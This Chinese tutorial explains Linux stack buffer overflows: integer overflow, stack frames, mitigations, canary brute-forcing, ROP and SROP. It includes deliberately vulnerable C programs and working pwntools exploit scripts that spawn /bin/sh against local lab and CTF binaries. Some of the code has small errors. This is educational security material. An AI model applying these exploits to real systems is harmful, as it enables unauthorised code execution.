C语言与溢出


概述

本文主要是针对c语言的程序在Linux下运行时,由于人为的编写疏漏,造成的缓冲区溢出问题以及从c语言编程上的防范办法。由于篇幅有限,本文仅对栈上的溢出做说明。

从整型溢出看溢出

整型溢出在我们学习C/C++的时候就有提及,主要是不同类型的变量能够存储的数据长度不同导致的,比如 unsigned int 类型为 0~0xffff。这种类型的溢出往往能够通过特定的输入绕过一些判断,进而达到某些目的。

    // num_overflow.c
    // gcc num_overflow.c -o num_overflow
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>

    int main(void)
    {
        unsigned short a;
        printf("Please input your number: ");
        a = atoi(gets());
        if(a < 8){
            printf("\nYour number is OK!\n");
        }else{
            printf("\nYour number is too big\n");
        }
        return 0;
    }

运行结果:

nop@nop-pwn:~/Desktop$ ./num_overflow
Please input your number: 1

Your number is OK!
nop@nop-pwn:~/Desktop$ ./num_overflow
Please input your number: 11

Your number is too big
nop@nop-pwn:~/Desktop$ ./num_overflow
Please input your number: 65536

Your number is OK!

从结果我们可以看到,当输入65536(0x10000)时程序也输出了我们期待的结果,即达到了绕过这个if判断语句的目的,实际程序中我们可以利用这一点来调用程序中本不该调用的函数或者利用程序中的输输入造成缓冲区溢出,进而控制程序执行流程。

至于导致这样结果的原因,我们可以先看一下程序对应的汇编代码(截取部分代码):

.text:0000000000400612                 call    _gets
.text:0000000000400617                 cdqe
.text:0000000000400619                 mov     rdi, rax        ; nptr
.text:000000000040061C                 call    _atoi
.text:0000000000400621                 mov     [rbp+var_2], ax
.text:0000000000400625                 cmp     [rbp+var_2], 7
.text:000000000040062A                 ja      short loc_400638

从汇编代码中我们可以看出,我们通过atoi得到数是存放在rax(函数返回值放到ax寄存器中),但是后面做判断时,却是用的是ax,这就意味着当我们的输入超过 0xffff时(如0x10001),ax中实际的值为0x0001,所以我们输入65536时,就自然的绕过了这个if判断。

缓冲区溢出和整型溢出类似,但不相同,二者同样是因为输出内容太大(太长)造成原变量不能储存这个过大的输入而造成的问题。对于缓存区溢出的问题大多是因为 getsscanf这类输入函数没有对输入长度做限制,这就导致了我们可以输入任意长度的内容。

因为在linux中,程序的输入(通常情况下)、函数调用与结束等操作都是在栈上操作的,所以当我们的输入足够长,就可以覆盖栈上的数据,进而改变函数栈帧达到劫持程序执行流程的目的。

栈溢出攻击原理

在了解栈溢出攻击原理之前,我们先了解一下函数栈帧的创建与销毁

Alt

实际上,程序在调用函数时,会先将函数的参数压栈(32位机器下,64位机器有所不同,详见下文),然后保存当前状态即EIP、EBP压栈,接着通过对ESP的操作开辟程序栈帧。之后函数的局部变量都在栈上操作。

汇编代码中这个个过程体现的很明显:

// 函数栈帧的创建与销毁
// func_frame.c
// gcc -m32 func_frame.c -o func_frame
void test(int a,int b,int c);
int main(void)
{
    test(1,2,3);
    return 0;
}
void test(int a,int b,int c)
{
    printf("first:%d\nsecond:%d\nthird:%d\n",a,b,c);
}

mian函数中调用test时:

.text:0804841F                 push    3
.text:08048421                 push    2
.text:08048423                 push    1
.text:08048425                 call    test

通过汇编代码可以看到在调用函数前会将函数的参数压入栈中,接着调用test。进入到test函数:

.text:0804843A                 push    ebp
.text:0804843B                 mov     ebp, esp
.text:0804843D                 sub     esp, 8 <-- 开辟栈帧
.text:08048440                 push    [ebp+arg_8]
.text:08048443                 push    [ebp+arg_4]
.text:08048446                 push    [ebp+arg_0]
.text:08048449                 push    offset format   ; "first:%d\nsecond:%d\nthird:%d\n"
.text:0804844E                 call    _printf
.text:08048453                 add     esp, 10h
.text:08048456                 nop
.text:08048457                 leave ; 相当于 mov esp,ebp; pop ebp
.text:08048458                 retn  ; 相当于 pop eip

进入函数后先将ebp压栈,然后开辟栈帧,给printf传入参数时直接通过ebp加偏移的方式获取之前押入到栈中的数据。函数执行完之后通过leave指令销毁函数栈帧,然后通过ret将栈中存储的EIP弹出到EIP继续执行main函数。

从函数栈帧的创建与销毁过程中我们可以看到,EIP在函数执行结束之后会被ret指令更改,这一指令相当于 pop eip即将当前栈顶的值赋值给eip,那么如果我们可以修改这个栈顶的值,就可以劫持程序流程到我们想要他执行的位置。之前我们提到过,变量的输入一般都在栈上,所以如果我们的输入没有限制,那么我们就可以通过输入覆盖到这个位置,进而达到攻击目的,即实现栈溢出攻击

Linux下32位程序的缓冲区溢出攻击

Linux下的保护机制

  1. Canary(栈保护) GCC在产生的代码中加入 stack protector 机制,其思想就是在栈帧中任何局部缓冲区与栈状态之间存储一个特殊的 canary 值,每次函数返回之前,都会检查这个值是否被改变,进而检查程序是否被改变,防止缓冲区溢出的攻击

  2. NX/DEP(堆栈不可执行) NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

  3. PIE/ASLR(地址随机化) 其思想是是栈的位置在程序每次运行时都发生变化,这样就可以避免攻击者向某个位置插入一个指针进行的一系列攻击

  4. Fortify gcc新的为了增强保护的一种机制,防止缓冲区溢出攻击。

不开启canary的情况

// stack_overflow.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function(){
    char buf[128];
    read(STDIN_FILENO,buf,0x110);
}
int main(int argc,char** argv){
    vulnerable_function();
}
}

从源代码可见,程序存在明显的溢出漏洞,我们在不开启canary的情况下静态编译程序:

gcc -fno-stack-protector -m32 -static -o stack_overflow stack_overflow.c

攻击-no canary

首先为利用漏洞寻找相关信息(偏移)

查看对应的汇编代码:

.text:0804840B                 push    ebp
.text:0804840C                 mov     ebp, esp
.text:0804840E                 sub     esp, 88h
.text:08048414                 sub     esp, 4
.text:08048417                 push    100h            ; nbytes
.text:0804841C                 lea     eax, [ebp+buf]
.text:08048422                 push    eax             ; buf
.text:08048423                 push    0               ; fd
.text:08048425                 call    _read
.text:0804842A                 add     esp, 10h
.text:0804842D                 nop
.text:0804842E                 leave
.text:0804842F                 retn

不难发现,我们的输入位于 $rbp - 0x88, 而我们的EIP位于 $rbp + 0x4, 所以我们需要填充到eip的字符个数为 0x88 + 0x4(这一过程调试时可以更明显的看到,但是由于篇幅限制,这里不给出调试示例)

漏洞利用:

from pwn import *
from struct import pack
context.arch='i386'

p = ''
p += pack('<I', 0x0806ec4a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b7f96) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805467b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ec4a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b7f96) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805467b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ec4a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049443) # xor eax, eax ; ret
p += pack('<I', 0x0805467b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de66d) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ec4a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049443) # xor eax, eax ; ret
p += pack('<I', 0x0807a62f) # inc eax ; ret
p += pack('<I', 0x0807a62f) # inc eax ; ret
p += pack('<I', 0x0807a62f) # inc eax ; ret
p += pack('<I', 0x0807a62f) # inc eax ; ret
p += pack('<I', 0x0807a62f) # inc eax ; ret
p += pack('<I', 0x0807a62f) # inc eax ; ret
p += pack('<I', 0x0807a62f) # inc eax ; ret
p += pack('<I', 0x0807a62f) # inc eax ; ret
p += pack('<I', 0x0807a62f) # inc eax ; ret
p += pack('<I', 0x0807a62f) # inc eax ; ret
p += pack('<I', 0x0807a62f) # inc eax ; ret
p += pack('<I', 0x0806c8c5) # int 0x80

payload = 'A'*(0x88+0x4) + p
p = process('./stack_overflow')
p.send(payload)
sleep(0.1)
p.interactive()

防范-开启cananry

最直接的办法就是限制输入长度,即让程序没法产生溢出,此外采取动态编译的形式即程序运行时使用动态链接库的方式运行,这样可以避免直接通过程序来生成 rpochain 的情况。

限制输入长度不是每次都能考虑周到,在不限制程序输入长度的情况下同样可以通过开启canary保护的措施来在一定程度上避免缓冲区溢出的攻击。

保护全开的情况

现代编译器默认情况下会对程序开启NX、canary、ASLR、Fortify等保护,但是对于PIE在Ubuntu中gcc是不会开启的即PIE保护需要手动开启。 对于未开启PIE保护的情况下,我们需要考虑的主要是cannary。

对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。所以可以利用这样的特点,彻底逐个字节将 Canary 爆破出来。 在offset2libc中绕过linux64bit的所有保护的文章中,作者就是利用这样的方式爆破得到的 Canary。 爆破的 Python 代码:

print "[+] Brute forcing stack canary "

start = len(p)
stop = len(p)+8

while len(p) < stop:
   for i in xrange(0,256):
      res = send2server(p + chr(i))

      if res != "":
         p = p + chr(i)
         #print "\t[+] Byte found 0x%02x" % i
         break

      if i == 255:
         print "[-] Exploit failed"
         sys.exit(-1)


canary = p[stop:start-1:-1].encode("hex")
print "   [+] SSP value is 0x%s" % canary

可以看出,canary的 off-by-one爆破实际上是通过linux下canary的性质进行多次尝试,最终得到正确的canary值。

此外,Canary设计以字节'\x00'结尾,保证canary可以截断字符进而防止被一些函数如puts泄露。某些情况下我们也可以利用这一特性覆盖低字节的'\x00'来泄露cananry,上述爆破canary的例子中便是利用这一特性减少爆破次数

除了爆破canary值之外,还可以通过输出函数泄露栈中的canary以及通过got表劫持 __stack_chk_failed函数(延迟绑定函数,在修改canary值后会触发这个函数)。如果溢出尺寸比较大,还可以同时覆盖栈上的canary值和TLS储存的canary值,达到绕过目的

如果手动开启了PIE,同样可以采用低字节爆破的方法完成攻击,如partial write(部分写入): 由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位 (按字节写入,每字节8位)就可以快速爆破或者直接劫持EIP。

此外,PIE影响程序加载基址,并不会影响指令间的相对地址,因此如果能够泄露出程序或libc的某些地址,就可以利用偏移来达到目的。

需要注意的是,在开启了ASLR的系统上运行PIE程序,就意味着所有的地址都是随机化的。但是在某些版本的系统中这个结论并不成立,因为vsyscall的地址并不会变。(不过vsyscall在一部分发行版本中的内核已经被裁减掉了)

    nop@nop-pwn:~/Desktop$ cat /proc/self/maps
    ......
    7fff134cd000-7fff134ee000 rw-p 00000000 00:00 0                          [stack]
    7fff1355d000-7fff13560000 r--p 00000000 00:00 0                          [vvar]
    7fff13560000-7fff13562000 r-xp 00000000 00:00 0                          [vdso]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

    nop@nop-pwn:~/Desktop$ cat /proc/self/maps
    ......
    7fff2825c000-7fff2827d000 rw-p 00000000 00:00 0                          [stack]
    7fff28360000-7fff28363000 r--p 00000000 00:00 0                          [vvar]
    7fff28363000-7fff28365000 r-xp 00000000 00:00 0                          [vdso]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

Linux下64位程序的缓冲区溢出攻击

linux_64linux_86的区别主要有两点:

  • 内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。
  • 函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,如果还有更多的参数的话才会保存在栈上

基于这些变换,我们在64位程序下完成缓冲区利用前需要利用程序中的一些指令片段,称之为gadget。通过找到的gadget构造ROP链完成攻击

这里引用蒸米@阿里聚安全的“一步一步学ROP之linux_x64篇”一文中的示例程序

// stack_overflow
// gcc -fno-stack-protector stack_overflow.c -o stack_overflow -ldl
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

void systemaddr()
{
    void* handle = dlopen("libc.so.6", RTLD_LAZY);
    printf("%p\n",dlsym(handle,"system"));
    fflush(stdout);
}

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    systemaddr();
    write(1, "Hello, World\n", 13);
    vulnerable_function();
}

此处编译关闭canary仅对64位下的缓冲区攻击做说明,相关cananry的绕过方式已在前面提及

从上面的代码可以看到,程序会打印system函数的运行时地址,实际上我们也就获得了libc加载基址,这样我们就可以通过libc搜索相应的gadget完成攻击。实际情况中,我们可能不知道libc版本,或者没法利用libc中的gagdet,不过也可以在程序本身寻找gadgets,只不过相比之下程序本身含有的gadgets并不是很多

程序的exp如下

from pwn import *

libc = ELF('libc.so.6',checksec=False)
p = process('./stack_overflow')

binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system']
pop_ret_offset = 0x0000000000022a12 - libc.symbols['system']
log.success('bin_addr_offset = %#x, pop_ret_offset = %#x'%(bin_addr_offset,pop_ret_offset))

system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
binsh_addr = system_addr + binsh_addr_offset
pop_ret_addr = system_addr + pop_ret_offset
log.success('system_addr = %#x, binsh_addr = %#x, pop_ret_addr=%#x'%(system_addr, binsh_addr,pop_ret_addr))

p.recv()
payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
p.send(payload)

p.interactive()

当然这个程序中我们得到了libc的基址,同样可以通过one_gadget来完成攻击。

此外,在不知道libc的情况下可以通过得到的system地址低2字节判断可能的libc版本进而完成上述攻击过程。

64位程序下的通过gadgets

其实对于64位的程序,都可以找到一个代码片段实现任意函数调用,这段代码片段是gcc在编译时加入作为elf文件的一部分的

.text:00000000000010B0                 mov     rdx, r15
.text:00000000000010B3                 mov     rsi, r14
.text:00000000000010B6                 mov     edi, r13d
.text:00000000000010B9                 call    qword ptr [r12+rbx*8]
.text:00000000000010BD                 add     rbx, 1
.text:00000000000010C1                 cmp     rbp, rbx
.text:00000000000010C4                 jnz     short loc_10B0
.text:00000000000010C6
.text:00000000000010C6 loc_10C6:                               ; CODE XREF: init+34j
.text:00000000000010C6                 add     rsp, 8
.text:00000000000010CA                 pop     rbx
.text:00000000000010CB                 pop     rbp
.text:00000000000010CC                 pop     r12
.text:00000000000010CE                 pop     r13
.text:00000000000010D0                 pop     r14
.text:00000000000010D2                 pop     r15
.text:00000000000010D4                 retn

利用时先利用上面代码中0x10CA~0x10D4的指令布置各个寄存器的值,其中r15,r14,r13分别为函数传递的参数,r12+rbx*8为目标函数地址,一般情况下我们将rbx置为0,这样直接把目标函数地址写入r12就可以了。还有一点需要注意的是利用这一通用gadgets时需要将需使rbxrbp中的值相差为1,防止程序反复执行这一片段破坏堆栈导致程序crash。

利用系统调用的攻击

32位程序

32位程序是通过 int 0x80完成对eax中对应的中断号进行系统调用,在编写shellcode的时候即是利用的这一特性。不过需要注意的是在利用系统调用完成ropchain的构造时需要设置相应寄存器的值来完成环境(参数)设置,否则可能就不会达到预期效果。中断号与相关寄存器设置可参见 http://syscalls.kernelgrok.com/

64位程序

对于64位程序与32位不同的是系统调用通过syscall实现,其余和32位程序大相径庭。

前面我们提到,64位的程序在函数传递参数时时通过寄存器传递的,这也对我们完成ROP攻击增加了难度,在某些情况下并不能找到足够多的合适的gadget,这样也就对整个攻击造成了很大的阻挠。

此外,现在操作系统增加的一系列保护机制对完成ROP攻击也产生了不小的困难,而对于攻击者说,ropchain不具有通用性,针对不同程序都需要精心构造大量的gadgets来完成攻击。

Erik Bosman的论文Framing Signals — A Return to Portable Shellcode(14年在国际安全领域最顶级会议Oakland 2014上当选为当年的Best Student Papers)提出的SROP在一定程度上解决了上述的问题

SROP原理

SROP(Sigreturn Oriented Programming),就是利用系统调用完成攻击。

sigreturn是在unix系统发生signal时被间接调用的系统调用,SROP攻击就是利用了从1970年使用至今的Signal机制的缺陷。

signal的过程如下图所示,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)

Alt

在这一过程中,内核恢复的上下文时并不会和保存的上下文做比较,也就是说我们可以直接伪造一个上下文,来完成攻击。按照作者的说法,“kernel agnostic about signal handlers”既是一个优点,因为内核不需要花精力来记录其发起的signal,但是,这也是一个缺点,正因为内核对其的不可知性,使得恶意的用户进程可以对其进行伪造

要完成一个SROP攻击需要以下四个条件:

  1. 攻击者可以通过栈溢出等漏洞控制栈上的内容
  2. 需要知道栈的地址
  3. 需要知道syscall指令在内存中的地址
  4. 需要知道sigreturn系统调用的内存地址

通常情况下我们需要连续的进行系统调用来完成对程序执行流的控制,所以在伪造上下文时需要加入对栈帧指针rsp的控制,如下图所示:

Alt

整个利用过程依赖与两个gadget:

  • sigreturn: 这个系统调用与一般系统调用不同,它是被内核写到相应的栈上,使进程被动的调用,不同的系统中它的位置也会有所变化。但是这个单独的gadget并不是必须的,因为它作为系统调用,同样可以根据系统调用号来实现
  • syscall;ret: 在Linux <3.3 x86_64下,可以直接在固定地址[vsyscall]中找到这段代码片段,其中vsyscall是用来加速time()gettimeofday()getcpu()这三个系统调用的机制,虽然现在已经被vsyscall-emulatevdso机制所代替,但在稍微比较早一点的内核中依然是被默认支持的

下图是作者对整个攻击过程的描述:

Alt

而对于SROP的防范,原作者也提出了三种方法:Gadgets Prevention、Signal Frame Canaries、Break kernel agnostic

SROP攻击示例

示例程序的漏洞点如下,可以看出程序通过系统调用完成输入和输出

text:00000000004004ED                 push    rbp
.text:00000000004004EE                 mov     rbp, rsp
.text:00000000004004F1                 xor     rax, rax
.text:00000000004004F4                 mov     edx, 400h       ; count
.text:00000000004004F9                 lea     rsi, [rsp+buf]  ; buf
.text:00000000004004FE                 mov     rdi, rax        ; fd
.text:0000000000400501                 syscall                 ; LINUX - sys_read
.text:0000000000400503                 mov     rax, 1
.text:000000000040050A                 mov     edx, 30h        ; count
.text:000000000040050F                 lea     rsi, [rsp+buf]  ; buf
.text:0000000000400514                 mov     rdi, rax        ; fd
.text:0000000000400517                 syscall                 ; LINUX - sys_write
.text:0000000000400519                 retn

此外,程序中还由signal系统调用的gadget

.text:00000000004004DA                 mov     rax, 0Fh
.text:00000000004004E1                 retn

所以很容易的就可以构造exp完成攻击:

from pwn import *
context.arch='amd64'

elf = ELF('./ciscn_s_3')
bss_addr = elf.bss()
syscall_addr = 0x0400517 # syscall; ret;
p = process('./ciscn_s_3')

set_rax = 0x4004da # mov    $0xf,%rax; retq;

frame_read = SigreturnFrame()
frame_read.rax = constants.SYS_read
frame_read.rdi = 0
frame_read.rsi = bss_addr   # read payload to bss which include strings 'bin/sh'
frame_read.rdx = 0x300
frame_read.rsp = bss_addr+0x10 # after call read, pass the strings '/bin/sh' to call execve('bin/sh',0,0)
frame_read.rip = syscall_addr

payload = 'A'*0x10 + flat([set_rax, syscall_addr])
payload += str(frame_read)
p.send(payload)
sleep(1)

frame_execve = SigreturnFrame()
frame_execve.rax = constants.SYS_execve
frame_execve.rdi = bss_addr
frame_execve.rsi = 0
frame_execve.rdx = 0
frame_execve.rip = syscall_addr

payload = '/bin/sh\x00'
payload += 'A'*(0x10-len(payload))
payload += flat([set_rax,syscall_addr])
payload += str(frame_execve)

p.send(payload)
sleep(1)
p.interactive()

参考链接及文献

https://www.freebuf.com/articles/network/87447.html

https://segmentfault.com/a/1190000007406442

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/

Framing Signals — A Return to Portable Shellcode